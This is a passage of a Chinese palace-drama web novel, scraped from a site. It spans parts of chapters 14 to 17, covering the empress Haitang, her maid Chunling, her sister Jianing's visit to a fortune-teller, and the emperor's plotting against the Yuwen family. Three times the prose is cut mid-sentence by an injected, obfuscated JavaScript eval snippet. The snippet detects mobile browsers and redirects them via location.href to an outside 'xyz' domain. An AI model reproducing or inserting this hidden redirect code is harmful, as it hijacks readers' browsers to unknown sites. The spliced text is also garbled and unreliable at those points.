这边春泠拿着蜡烛走过来,准备今晚靠在床边守夜。 海棠从来不让她们守夜,但是今晚风雨这样大,春泠觉得还是要在跟前才放心。 宫里守夜只有一个小垫子,基本上一晚上是睡不着觉的,海棠不愿折腾她,但春泠执意要守夜:“这雨下个不停,又这么大风,三小姐这么害怕,总不能让娘娘您亲自服侍吧,奴婢在这里不是好些吗?” 海棠拗不过她,只好给她拿了床新被子,让她睡到贵妃榻上去。 从前在相国府,海棠和春泠不知相伴了多少个日日夜夜。 自从来了宫里,海棠瘦了许多,春泠看着都心疼。 她希望海棠能过得好,不是荣华富贵那种好,而是身心欢愉,是真正的开心和快乐。 从小海棠对她们都很好,从来没有小姐的架子,带着她们一起玩,把自己的衣裳和吃食都分给她们。 小的时候,大家晚上在一起,明明是丫头们陪着小姐,但是丫头们一个比一个胆子小,又怕黑又怕鬼,反倒是小姐拿着院子里晾衣服的钢叉,披着床裯,假装女将军。 “别害怕!我跟哥哥新学了好几招,我来保护你们!” 大伙鼓掌:“小姐好勇敢啊!” 想想儿时的趣事还有些想笑,一晃大家都长大了,曾经那个小院里也热闹过,繁华过,自从夫人去世后,人就越来越少,一个接一个的走了,小梅走了,小月走了,念念走了,雯雯也走了。 直到后来,就剩下她跟秋吟两个人陪在小姐身边,小姐也不像以前那么爱笑了,总是坐在窗边发呆。 春泠和秋吟是同一年进府的,后来秋吟嫁了人留在府里,到海棠进宫的时候,其实身边只剩下春泠一个人了。 春泠就陪着她进宫了,她的小姐成了皇后,真是人生如梦。 外面雨很大,春泠听着雨声有些失眠,但海棠已经睡着了。 她不仅睡得着,还睡得十分香。 春泠看着昏黄烛火下海棠的侧脸,想了很多事,叹了一口气。 二小姐啊二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370351|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐,还和小时候一样。 她睡着了,像一个不谙世事的小姑娘。 她睡醒了,就瞪着眼睛变成恶霸,等待着新一天的开始。 其实她是个柔软的人,还很爱哭,只是这份柔软需要用时间去发现,你不是她的朋友,她就不会让你发现。 秋吟成亲的时候,她把自己压箱底都舍不得戴的首饰全送给秋吟了,依依不舍地哭了好几天。 吴妈妈回老家的时候,她也把攒了很久的月钱都给了吴妈妈,因为吴妈妈没孩子,没房子,年纪大了,不想埋骨他乡,想回故乡养老,小姐把自己攒的钱给了她,让她回老家盖一间房子。 小姐虽然有时候很抠,一碟红烧肉还要分两顿吃,但是对她们都很大方,真金白银从不计较。 虽然有时候爱生气,但是很快就会来拉手和好。 虽然有时为了保护自己,摆出一副张牙舞爪欺上凌下的姿态。 可是如果不摆出这副架势,那些人只会更认为她好欺负。 面具戴久了,自己也会当真,小姐偶尔也分不清自己到底该是什么样了。 小时候她演一个坏丫头,吓退那些想欺负她的人,还很得意地跟她们炫耀,后来连她自己都认为自己就是一个讨人厌的坏女人。 每个人都说她不好,没规矩,不懂礼貌,不孝顺,无才亦无德,只有春泠告诉她,你一点也不坏,你特别好! 真的吗?小姐在晚上偷偷问她,我真的不坏吗? 也许有一天,等她做回她自己,走在蓝天白云下,才能知道真正的她,是什么样。 春泠五岁那年来到府里,从进门第一天起就跟着海棠,两人一起从扎着双丫髻的黄毛丫头,长成亭亭玉立的少女,从相国府西院小屋,到大周皇后的长信宫。 海棠出身豪族,可是母亲早亡,父亲厌恨,年少时候过得并不算开心。 十几岁的时候,她也期待过能够嫁一个如意郎君,真心相许,然后离开宇文家,过上新的生活,那时候大家常常一起讨论未来的生活。 如今虽然是离开宇文家了,可是事与愿违,她的婚事只是勾心斗角的牺牲品,她的夫君坐拥后宫,心爱旁人。 她曾经渴求的逃离付之一炬,从一个火坑跳进了另一个火坑。 你说她不幸吗,她出身如此高贵,又有沉鱼落雁之美貌,而今还成为当朝皇后,不能算不幸,可说她幸运,又好像事与愿违。 人生总是行乐匆匆光阴少,以前在家时海棠常说,做人不能太贪心,这辈子得到的已经很多了,这世上还有很多吃不饱穿不暖的人。 只可惜别人的痛苦,并不能让自己的泪水减少,她流过许多眼泪,都在没人的地方,偷偷地流。 春泠撑着头,沉默着想心事,她们只是奴婢,奴婢就算心疼主子,也保护不了主子,还要靠主子保护。 小姐从小就很会保护自己,也一直保护着她们。 只是她觉得老天不公平,这样真心实意的姑娘,应该遇到好人,应该过得幸福。 可如今的世道,幸福这两个字多难啊! 陛下也不是这样的良人,他早就心有所属。 终究是姻缘错付,所托非人。 春泠又往床上看了一眼,海棠睡得香喷喷。 她不大为这些事烦扰,好像除了刚进宫的那几天有些忧虑失眠,后来的每一天她都吃好喝好。 春泠起身去剪了烛芯,看到向嬷嬷也没睡,在外间守着。 向嬷嬷虽然跟着的时间不久,倒也还算真心,大家都看在眼里的。 就像海棠当年说,只要你对别人好,总有人也会对你好。 就算你古怪,就算你别扭,就算你不讨喜,这世上也不会每个人都讨厌你,一定有人喜欢你。 15. 第十五章 很快到了出宫的日子,嘉宁和杨萱正好同日回府。 杨萱近来诸事不顺,坐个马车走到半道上竟还颠坏了轮毂,气得她直捶窗子:“真是撞邪了,怎么人就能倒霉成这样!” 嘉宁虽然嘲笑她,看她为难的样子,还是邀她上了自己的马车,送她一程。 马车颠簸,帘幔微动,两个人沉默了一会。 还是杨萱先开口:“到前面金谷巷把我放下来吧!” 嘉宁奇怪:“宣平侯府不是这个方向吧?” 杨萱道:“我又不是回家。” 说罢她神秘兮兮凑过来:“你知不知道京都最近来了个术士,专门为人测算命格,听说十分灵验,不少人都去求他指点迷津呢,如今他就暂居在清真观中,而且他有自己的规矩,每日只能见二十个人,多了就不见,清真观门口日日大排长龙。” “虽然这些怪力乱神的话不大能相信,但是有些事情,容不得你不信。” 嘉宁一向不信这个:“别是骗钱的吧,你小心让人给骗了!” 杨萱道:“我跟你说,我的手帕交,太常寺卿家的女儿,之前和工部洪侍郎家的公子定了婚,后来两家长辈在朝堂上反目,闹得十分难看,连小辈婚事也不得不作罢,那未婚的小两口倒是有感情,两个人都舍不得对方,哭得什么似的。” “据说洪家紧跟着就给他们家公子找了另一门亲事,眼瞅着两个人是没缘分要错过了,然后一起到这清真观算了一卦,那大师说,他们俩是三世夫妻的缘分,必定散不了,结果回去了没几天,两家长辈忽然又和解了,这婚事又能成了,你说灵不灵?” “还有我家小叔母,她年老色衰不得宠爱,膝下只有一个儿子又不争气,她虽为主母,却常年被受宠的妾室挤兑,这谁能咽得下这口气?你猜她怎么着,她给那大师添了二百两的香火钱,二百两呐!” “那大师收了她二百两银子,给她出了个主意,叫她三更天带人在后院东边等着,你再猜怎么着,竟被我叔母逮住了那妾室与府中马夫私通,借此事将她一举处置了,得以家门清净,你说天底下有这样巧的事吗?” 二百两确实不是小钱,寻常人家用这钱都能盖一座四进的院子了,那号称大师的游道,如此贪婪,收了这么多银钱,早就能宝马香车、大鱼大肉了,却还作一副衣衫褴褛、云游四海的样子,借住在道观中,这样的人怎么可信? 偏那些日子不如意的夫人小姐公子哥儿们,还将他视为世外高人,上赶着送钱去。 嘉宁眯起眼睛,还是怀疑的态度:“这怎么可能?哪有这么邪门的事情,怕不是碰巧的?没准那马夫还是花钱雇来的呢!” 杨萱无语道:“你这呆子,真是固执,就算是碰巧,他就碰得这样准,时辰方向一字不差,难道不是本事吗?若是雇人做戏就更不可能了,难道那妾室自己撞邪了贴上去与人私通?” 提起这些,杨萱难掩兴奋好奇:“你要不相信,不如咱俩一起去看看,探探虚实?” 嘉宁面露犹豫,可经不住杨萱生拉硬拽,两人这样来来回回的耽误了些时间。 行至清真观时,今日的二十个人已经满了,门口站着一个男童,告诉他们:“你们来晚了,今日师傅不见人了。” 杨萱“啊”了一声,很是遗憾,赶忙道:“小师傅,麻烦你帮我们通传通传吧,我们离这很远的,来一趟不容易。” 说罢忍不住冲嘉宁抱怨:“你看吧,我就说了这里不容易进,你还在路上啰嗦,这下好了,进不了了。” 那孩子进去了一会,又出来说:“师傅让你们两个进去。” 杨萱高兴道:“真的吗?那太好了,背运了这么些天,总算有件好事了,大师竟然为我们破例了!” 嘉宁小声道:“你听他们故弄玄虚,有钱他岂会不赚?定是那孩子见你车马豪华,打赏肯定不少,转头告诉他师傅去,才特意留下你的。” 杨萱恨她榆木脑袋:“跟你这蠢人真是无话可说!” 她急匆匆跑进去,嘉宁也只能跟着进去。 道观不大,这位传说中的大师就住在那最后面的一间小屋,这里清净无人,只有门口那个男童跟着跑前跑后。 那孩子看着也就七八岁模样,领着杨萱和嘉宁走进里屋。 面前一扇屏风,看不清大师的长相,只知道他坐在屏风后面。 真是故弄玄虚,嘉宁心中腹诽不已。 大师让杨萱伸出手来,为她看手相,又抽开屏风中间一道格挡,露出一双浑浊的眼睛,这缝隙正是用来看面相的。 虽然看不到大师的脸,但一开口就能听出声音很老,起码六七十岁了。 趁着杨萱看相的功夫,嘉宁四下张望,打量这间屋子。 没什么稀奇的,摆了几卷易经,挂着几幅字画,字画也就是街上随便买的,也不是什么珍贵物件。 唯有面前这盏屏风做工可以,像是大户人家的东西,也许是某位财主赠送的。 嘉宁看了看屏风,上面画了些古怪的花鸟走兽,长毛虎皮,人面蛇身,像《山海经》里的东西,反正看着不大舒服。 那大师正给杨萱看相算命,嘉宁跟着心不在焉地听了几句,大概是说杨萱会有一段好姻缘,命中有子女三个,将来她靠不了娘家,要靠丈夫,要小心家宅后院,婆媳关系,虽有坎坷,但一生富贵,她的子孙会有出息,晚年能享到子女福份。 杨萱被他唬得一愣一愣的,反正总得来说不是很坏,说她会有好夫君好儿子,这还有什么不满意的。 她想了想很高兴,这时候门口那男孩便进来带她出去烧香,烧完香是要添香火的,给多给少就看自己心意了,但是据说来这的,没有五十两以下的,你要给了五十两以下,那下次也不必再来了,不会见你了。 杨萱被带出去给钱了,嘉宁在旁边皱着眉头,心想这些话我也能编,编这两句就哄了五十两,真是好笑,拿钱不当钱了这是?五十两都能砌两间屋了,就跑来这买个高兴?真是钱多烧的! 可是杨萱深信不疑,这钱花得还挺心甘情愿。 嘉宁看杨萱走了,刚要出去,就被那大师喊住:“这位姑娘,你不算一算?” 嘉宁道:“我对这些不感兴趣,我只信自己,不信命。” 她言语轻狂,那大师竟也不生气,只笑着说:“姑娘或许不知道我这的规矩,既然进来了,不算上一卦,是不能走的。” 嘿!还强买强卖上了! 嘉宁怒不可遏,刚要拍桌子替天行道,那大师忽然又说:“江湖之大,你我既然坐在这里,便是缘分,这样,你让我算一卦,我不收你钱。” 嘉宁面露狐疑:“我是个实诚人,就是脾气不大好,不管您是哪里的大师中师小师,别给我卖这些关子!” “这京都,到处都是王公贵族,您最好先掂量掂量自己惹不惹得起。” 那大师只笑道:“我还一句话没说,姑娘就气急败坏,究竟是不信,还是不敢?” 嘉宁横着眉毛,好啊,她一屁股坐下来:“既然您这么自信,那我倒想听听您能说出什么天机来。” 她伸出两只手摆放在丝巾上,那大师便从屏风后面探出一根鎏金的细棍,顺着她手掌的纹路摩挲,比划,口中念念有词。 与给杨萱看的时候不同,大师没有掀开屏风中间的格挡看她面相,而是让她报上自己的生辰八字。 而后收回金棍,一本正经道:“姑娘,你虽出身富贵,但此生坎坷,要逢大难,将来会为奴为婢,为人妾室,但可化险为夷,得以寿终正寝。” 我!!!我去你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374200|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小肚鸡肠胡言乱语的臭道士! 我不信你,你就这样咒我是吧! 嘉宁真是气不打一处来,她堂堂相国府三小姐,千金之躯,竟然说她要为奴为婢,为人妾室。 拿她当王宝钏啊,她可不会跟着薛平贵守寒窑。 嘉宁收回自己的手,理了理袖子,冷笑一声:“大师这样讲,是因为我刚才说话不客气得罪了您,故意诓我的吧?” “家父在朝为官,树敌众多,这样的诅咒之言没有一千也有几百,您觉得,我会信吗?” 大师向上指了指:“天命之言,由不得你我信不信。” 嘉宁气急反笑:“是吗,既然您算得这样灵验,怎么没给自己算一算?算算自己命数几何,身死何处。” 大师笑道:“能算他人,却独独算不了自己。” 他伸出自己的右手:“况且泄露天机之人,多是身残体弱,六亲缘浅的人,此生飘零,又何必在意命长命短,魂归何处呢?” 嘉宁此刻才看到他的右手五指竟然残缺了四根,只有一根中指还能看出手指的形状。 她微微心惊,抬头看向屏风,对着里面模糊的影子道:“既然大师这样灵验,我还有个姐姐,您不如送佛送到西,给她也算一算。” 嘉宁报上兰君的八字,想听听这老道士还能扯些什么出来。 对于兰君的八字,老道士沉思的时间远不如刚才给她算时那样长,很快便道:“这位,是一生的富贵,大富大贵的命,只不过会远走他乡,难归故土。” 嘉宁更加不信了,定国公府就在京都,哪来的远走他乡? 这老不死的,让她逮到了吧! 嘉宁不怀好意地一笑:“这样啊,我这还有一个姐姐呢,不如大师您给一起看看吧,我这个姐姐,她的婚事不如意,她那夫君宠妾灭妻,十分混账,您给看看,我那姐夫还有没有回心转意的可能?您要是有办法,我必重金酬谢!” 她报上海棠的八字,面露看好戏的表情。 老道士口中念了三遍,闭上眼睛细细思量了会,半晌没出声,这回沉思的时间格外久。 嘉宁等得都有些慌了:“怎么,您是算不出了?” 老道士这才缓缓开口:“姑娘啊,你给的这个八字,这是凤凰降世,贵不可言,是皇后命格啊!” 嘉宁一个激灵,差点从椅子上摔下去,这这这…这也是碰巧吗? 老道士眯着眼睛:“她命运坎坷,苦难多磨,但注定都能化险为夷,不仅是皇后命格,还是两朝皇后之命!” 两朝皇后!嘉宁倒吸一口凉气。 不可能,这不可能。 难道大周要变天? 不不不,绝对不可能! 嘉宁强装镇定:“怎么会呢,我这姐姐已经嫁人了,您的意思是,我的姐夫要造反吗?” 老道士兀自思索:“这就奇了怪了,她命里就该嫁皇帝的,没有旁人啊,姑娘你是不是将时辰报错了?” 不待老道士再开口,嘉宁直接爬起来落荒而逃。 杨萱看到她一路狂奔出来的样子,甚是奇怪:“喂!你怎么回事啊?鬼在后头撵你啊!” 嘉宁一整个眼皮狂跳,心神不宁,回到相国府,兰君在门口接她。 她刚看到兰君就一把抓住:“姐姐你最近跟徐世子怎么样了?之前定的明年三月的婚期,没有变吧?” 兰君很奇怪她为什么这样问,如实回答:“我们好得很呀,怎么这样说?” 嘉宁拍拍胸口:“那就好那就好,那就没事了。” 虽然她之前看不上这个呆子姐夫,不过此时此刻还是很想听到这句话。 大姐嫁去徐家,那就还在京都,就不会远走他乡,那说明老道士说得根本就不准!肯定是诓人的! 16. 第十六章 不久后蜀地动乱平定,宇文靖霆回京叙职。 他今年一直在外征战平乱,鲜少回京,从蜀州回来以后,又马上要去赣州。 只是自海棠嫁入宫中以后他就没再见过妹妹,宫外传言纷纷,军中亦有官位高的大臣,家中书信往来,即便在那么远的地方,宇文靖霆对帝后不和之事都有所耳闻。 他放心不下妹妹,趁这次回京叙职特入宫探望一番。 在讲书阁面见皇帝时,宇文靖霆对自己的功绩不提分毫,默默听了皇帝半天夸赞,才张口道:“臣谢陛下隆恩,为国尽忠是臣本分,无需太多赏赐。” “只是臣征战在外,连家中妹妹嫁入宫中都不得空回来,妹妹自小顽劣,脾气也不好,想是给陛下添了许多麻烦,还望陛下海涵,不要与她计较,您能善待她,就是臣唯一的愿望。” 皇帝原本正在款款而谈他的功绩,还说要给他加官晋爵,听到这话表情一下变了,沉默下来。 这是什么意思,质问他吗?责怪他吗? 怪他宠爱旁人,冷落了他的妹妹? 如今宇文家不仅前朝的事要管,连后宫的事也要管了。 他没有善待宇文海棠吗? 好吃好喝的款待着,金山银山的花销着,还不够善待,还要怎样? 弄成今天这个地步问题在谁?是谁蛮横骄纵以下犯上?是谁不讲道理得罪满宫?是谁拒人于千里之外? 皇帝沉默着,半晌才道:“朝中流言纷纷,朕也有所耳闻,只是内廷之事你们不清楚,有些话人云亦云,反倒传错了意思,朕明白你对妹妹的怜爱之意,只是她身为皇后,责任重大,朕对她期望很高,希望她能做好这个皇后,而今她入宫不久,还无法达到朕的要求。” “不过你可以放心,朕不会刻意刁难她,只要她不惹事生非,朕自然会好好待她。” 宇文靖霆忙道:“有陛下的话,臣就放心了,家中母亲早亡,海棠不是长女,父亲对她管教不严,臣也明白她有许多不足之处。” “您是她的夫君,父兄未能尽到责任,心中非常有愧,还望陛下能够接过这份责任,指点她,教导她。” 提到这个,皇帝心里也有怨言:“怎么?她不是家中长女,大相国就不尽教导之责了?她与她姐姐相比,确实差了很远,朕也很是奇怪,为何同门所出,同母所生,能够如此天差地别?” 宇文靖霆叹气:“家家有本难念的经,父亲与海棠关系并不好,因此很少管教她,都是任她随波逐流,我们做兄姐的,有心照拂教导,但她也不是很听我们的话,况且上有长辈,我们并不好多说什么。” “她年纪还小,没有得过什么疼爱,有些做得不对,做得不好的地方,还请陛下担待。” 皇帝听了,心里滋味复杂,之前宇文家的事他并没多问,况且问了皇后也不会告诉他的。 如今倒是在宇文靖霆这问出来了,皇后跟大相国确实不和,难怪大相国会把她嫁过来,从一开始就没安好心。 无奈揉了揉眉心,又道:“皇后在长信宫,你去看看她吧。” 他也不知道说什么好了,皇后虽然可恶,但也只是家族的棋子。 可怜之人必有可恨之处,可恨之人亦有可怜之处。 平时他日理万机,只要她不再气他,暂时他也不想去报复她折磨她。 * 宇文靖霆去了长信宫,待了很长一段时间才离开。 他走之后,皇帝召来长信宫的看门侍监问:“车骑将军和皇后说什么了?” 内侍监答:“说了些家常话,宇文将军问皇后娘娘宫中生活如何,娘娘没说不好,然后又问了其他两位宇文小姐的事,还问了下兰君小姐与定国公府的婚事。” “娘娘留下将军吃了顿饭,然后送将军走了,将军走了以后,娘娘在门口哭了,春泠姑娘把她扶进去了。” “她哭了?”皇帝原本在看奏折,听到这里放下来:“为什么哭了?” “这…这奴才就不清楚了,大概是思念家人,情不自禁吧…” 皇帝表情复杂,她会哭? 她这样的人,会掉眼泪? 从她进宫到现在快一年了,从来只见她惹是生非,没见过她掉一滴眼泪。 皇帝坐回圈椅中,复又想起卜瀚文之前说过的话。 “如今正是倚重宇文家的时候,陛下和皇后不和之事已经传遍朝野,宇文靖霆颇疼爱他妹妹,在前线多次书信回来询问此事,依臣之见,陛下不如先假意示好,笼络住皇后的心,也好让宇文靖霆安心在前方卖命,等蜀州、赣州动乱平定,大势已成定局,陛下也不必再顾忌他们。” “臣的探子在前线打听到,宇文靖霆在蜀地时曾用粮食与西戎族换了一批战马,私通外邦可是大罪,此事他未曾上报朝廷,陛下师出有名,到时可以借此名义治他个通敌之罪,将宇文家连根拔起!” “最重要的是,在地方动乱平定之前,您要安抚住皇后,安抚住他,安抚住宇文家,不要起明面上的冲突。” “皇后在名义上,毕竟还是代表着宇文家,您让满朝文武都看这场帝后不和的笑话,那就着了大相国的道了,他并不想上您这条船。” 卜瀚文说得一针见血,也是他心中所想,是时候该做些什么了,一直这样僵局下去不是办法。 皇帝打定主意,吩咐卫少监:“问问皇后喜欢什么,去挑一些她喜欢的吃的用的,晚上朕去看看她。” * 晚膳后,皇帝来了长信宫。 虽然不知道这位稀客为什么突然驾临,还送来许多赏赐,但海棠猜测大抵是因为哥哥的原因。 哥哥在外平乱有功,皇帝在后宫不能不给她面子,因此特意来做个样子。 皇帝在她对面的圈椅上坐下,开口道:“晚膳用过了吗?” 海棠对他一贯冷漠,冷着脸坐在贵妃榻上翻书:“吃过了。” 她眼皮都没抬一下,皇帝自觉无趣,心里也有些气闷。 又想到卜瀚文对他的再三劝说:成大事者,不拘小节,陛下要学会放下身段。 于是深深吸一口气:“今日你哥哥来看你,说了些什么?” “没说什么,家长里短罢了。” “他倒是跟朕说了不少,说你年少时候在家里不得疼爱,希望朕好好对你,不要让你难过。” 海棠重重放下书,脸色不大好看。 哥哥为什么要跟他说这些! 她和皇帝名为夫妻,实同陌路,哥哥难道以为他们真的是夫妻,希望她能夫妇和睦吗? 海棠眼看着像是生气了的样子,皇帝看她:“你又气什么?又哪句话说得不对了?” 他叹道:“你说你这什么脾气,谁像你这样一言不合就挂脸,你哥哥是想你好,才会跟朕说那些,又是怎么招你了?是让朕对你好点说得不对了,还是说你从前往事不对了?” 海棠冷声道:“第一,我用不着你对我好,第二,我家的事跟你也没关系,陛下,您贵人事忙,忙您自己的去吧,不会因为我哥哥说了两句,你就良心发现了吧?” 皇帝嘴角凝固, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386312|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面带冷意:“难怪你在家也讨人嫌,大相国不待见你是有道理的,在家不得父亲喜爱,出嫁不得丈夫疼爱,宇文海棠,你应该想想你自己的问题。” 海棠直接抄起书砸到他身上:“你要是来教育我这些的那你就趁早滚!我用得着你们喜欢我吗?你爱喜欢谁喜欢谁去,关我屁事!” 皇帝被她用书砸了下,也没恼火,拍了拍身上:“也就是朕脾气还算好,这要换个脾气暴的丈夫,不狠狠打你一顿才怪。” “你到底什么意思?”海棠直起身子:“你今天就这么闲吗?非得来招我,来嘲笑我一顿?” “是啊,你说得没错,我爹确实很讨厌我,我家兄弟姐妹四个,他最看不上的就是我,小时候他指点哥哥姐姐们读书,但是从来不教我,我逃学他也不管我,我骂夫子他也不理会,我住在府里最偏僻的小院,常常十天半个月都见不到他。” “家里出去游玩他不带我,各府的宴席他也不带我,我每天就待在自己的院子里无所事事,小时候我最喜欢搬个凳子坐在院子看天,从白看到黑,又是一天过去了,这样年复一年,现在我从相国府的院子,换到长信宫的院子了。” “他培养得好啊,要不然怎么会把我嫁给你呢?我可是他千挑万选选给你的,我这么说你高兴了吗?” 皇帝被她这一连串的质问语气给说懵了,一甩袖子:“朕又没说你什么,你又火冒三丈干什么?” 海棠仍旧咄咄逼人:“对了,我爹以前是你的帝师,那时候他应该都在很用心地教导你吧,可是你看看吧,现在你跟他翻脸无情,恨他恨得不得了,咱俩一个不肖子孙,一个目无师长,真是他的福报!” 皇帝坐着,扶住额头:“你不要这样好吗?朕今日过来并非为了与你争吵。” “宇文靖霆怜惜姊妹,希望朕能善待你,让你日子好过些,他是我大周功臣,朕不会不给他这点面子,以后你有什么要求,可以直接和朕提,太后那边朕也会去跟她说的,让她今后少为难你。” 海棠咬着唇,从贵妃榻上翻身下来,挑了个趁手的枕头砸过去:“你现在知道装好人了!晚了!我不会承你这个人情的,你跟我爹一样可恶!” 她本来是气势汹汹要来打他,可是那身水红的裙子太长,不慎给她绊了下,竟然踩着裙摆摔了过去。 “啊!” 海棠摔在地毯上,皇帝虽然烦她,但是实在眼疾手快,一下就把她捞起来了。 海棠狠狠推开他,低下头扯裙子,气鼓鼓的。 “你看看你,老天都不帮你。”皇帝又没忍住冷嘲热讽。 她这回不再叫骂了,沉着脸色,坐到旁边去,不知道在想什么,彻底沉默下来。 手似乎摔疼了,一直在揉胳膊。 因是侧身坐着,烛光只能照到她一半的脸。 她的头发真长,乌黑亮丽,长长地垂下来,挡住脸,眼睛特别大特别明亮,睫羽卷翘,嘴唇微粉。 水红的裙子那么艳丽,穿在她身上却并不显得突兀,周朝以素为美,女子多穿月白素蓝天青的颜色。 皇帝想到当时信王和吴尚书拿着画像呈给他看,他就是被那一袭胭脂粉的襦裙所吸引。 画卷一寸寸打开,那么浓丽的颜色,让人眼前一亮。 宇文海棠,人如其名。 美艳如花,这点毋庸置疑。 只是她的脾气和她父亲一样难搞,真让人头疼。 她现在摔疼了,把嘴巴闭紧的样子,看着倒是顺眼不少。 要是一直能这样该多好。 17. 第十七章 不日讲书阁会见群臣,特召河西侯前来。 内阁大臣们也知道这回议政其实就是为了河西久悬未决的削兵一事,三位侯爷不日就要返回封地,这件事不解决,陛下不可能安心放他们回去。 河西侯是个难缠的角色啊,纵你巧舌如簧,他也能兵来将挡水来土掩,还不知道陛下要出什么招。 靳桓前往讲书阁的路上,又一次走到琼园的入口。 不免驻足多看了几眼,上次他在这个园子里遇到了皇后。 前几日暴雨,园中花卉被打得飘零垂落,不像之前那样繁茂鲜艳了。 本是要走的,可鬼使神差的,他又想再进去看一眼,看看里面现在是什么样子,与那次来时还是否一样。 刚走进琼园,就看到那个熟悉的地方,熟悉的秋千上,坐了一个人。 只不过是背着坐的,看不清脸。 与上次的粉衣不同,今日是一身蓝衣,裙摆绣着莲花。 一看到那背影,他猛地停住脚步,心如漏拍。 会有这样巧的事?他两次来,两次都能遇着她? 蓝衣女子正在荡秋千,荡了一会,大约发现了他的踪迹,微微侧目。 稍微侧开的这一点,靳桓便能看见她了,眼角眉梢俱笑起来:“娘娘这是每日都来点卯吗?” 海棠偏头看他:“靳侯,你怎么又进内宫了?这回不会又是不识路吧?” 靳桓轻笑:“这回正是识路,才会进来。” 他往前走了两步,问道:“上次娘娘还带了一个宫女,怎么这次却是只身一人在此,娘娘可是有心事?” 海棠挑眉:“我让她回去取东西了,一会她就来。” “怎么,靳侯连本宫的宫女也惦记着吗?” 靳桓笑了起来,眼神中颇有挑衅之意:“之前赏花宴,娘娘故意叫我多跪了好一会儿,现在膝盖还在疼呢!” 海棠道:“靳侯武将出身,这样不中用吗?” 靳桓一笑,背手站着,眼神盯着海棠毫不掩饰:“娘娘不必如此敌意,臣只是看到娘娘,觉得同病相连,河西一族殚精竭虑为国尽忠,陛下却不信任我们,正如娘娘身为皇后,天姿国色,却要寂寞宫闱,实在是有人不懂欣赏,着实辜负。” 他言语之过分,当真是目中无人,海棠笑容不变:“靳侯,你是真拿本宫当傻子了吗?还是觉得深宫无宠之人,会寂寞到无视国法宫规呢?” “就算无人欣赏,也轮不到你来欣赏,河西侯,你太越界了,几次三番挑衅本宫,之前还可以说是我自己想多了,可是现在看来,显然并非本宫多想,而是你太放肆了!” 靳桓目光如炬,唇角勾起弧度:“您当然没有多想,娘娘如此聪慧,怎会不明白臣的心意呢?” “心意?”海棠眯起眼睛:“本宫只是在此散心,靳侯,你真当我被废了吗?要是本宫现在叫来侍卫,说你非礼中宫,你觉得,你犯的罪大不大?” 靳桓面带微笑,毫无惧怕之意:“娘娘才不会这样做呢,臣对中宫无礼,自然是死罪,那您这位被非礼的皇后娘娘,不也没了清白吗?正好给了陛下一个废你的理由,颐妃对您的位置早就虎视眈眈了,娘娘不会为了治臣的罪,下这么大本吧?” 海棠从秋千上站起来,忍不住笑了:“靳侯啊靳侯,你怎么就是记不住,你只是万千臣子中的一个,你偏要把眼睛放在皇后身上,让我们两个都很为难啊,觊觎人妻本就可恨,你还敢觊觎君王之妻?果真能人啊!” “果然是人都会挑软柿子捏,我这么张牙舞爪的,你还能看出我是软柿子,你看看你,这么不懂事,让我本来就难过的日子又难过了一点。” “不过算你运气好,挑衅我没事,你要敢对颐妃这么干,就等着皇帝天涯海角追杀你吧!” 海棠无心再理会他的狂言悖语,懒懒散散地走远:“再见。” 靳桓敛去笑容,一改戏谑之意,望着海棠走远的背影,稍显沉默。 他离开琼园,脸色不佳地来到讲书阁,这里果然已经群臣列阵,只等着他来,好一举将他剥皮拆骨。 皇帝端坐书案前,等他行礼后,缓缓开口:“靳侯,不日你将要离京,今日召你前来,还是为了那桩旧事。” “各地诸侯都已完成削兵事宜,唯你河西久悬不决,这件事不论是早是晚,总该有个定数,刚才朕与卜尚书和蒋阁老也商议过了,对你既往的办事不力不予追究,但是限期三月,河西务必削兵,不得有误。” 皇帝言辞之坚定,眼神之凌厉,看来今日是不会轻易让他全身而退了。 靳桓一改往日的咄咄逼人,反而放下姿态,拱手道:“臣知陛下忧心国事,夙夜难寐,但河西之事,陛下若认为是臣刻意为难,不遵圣旨,那就大大冤枉臣了,臣忧心牵挂之程度,绝不亚于陛下。” “只是河西地界特殊,与内陆郡县不能并论,若我河西像江东那样丰饶富足,和平安宁,臣何吝惜于些许兵马,但河西偏远,与游牧蛮夷接壤,边界之地常有外族来犯,百姓苦不堪言,正是有河西守军,才能保卫河西百姓多年来安居乐业,不受外族侵扰。” 皇帝早知道他会旧事重提,又拿这件事当幌子堵他的嘴,便冷笑道:“朕明白爱卿的难处,朕和内阁已经决定,待河西削兵之后,由朝廷接管防卫事宜,朕会在武将中挑选合适人选,从朝廷的军队里拨出两万人马过去,你放心,朕绝不会让河西再受外族欺凌。” 听皇帝这样说,靳桓顿了顿,不慌不忙地接道:“陛下圣明,只是这件事并没那么轻易,否则臣早就能解决了,何至于拖到今日,还要烦扰陛下和内阁诸位大人。” 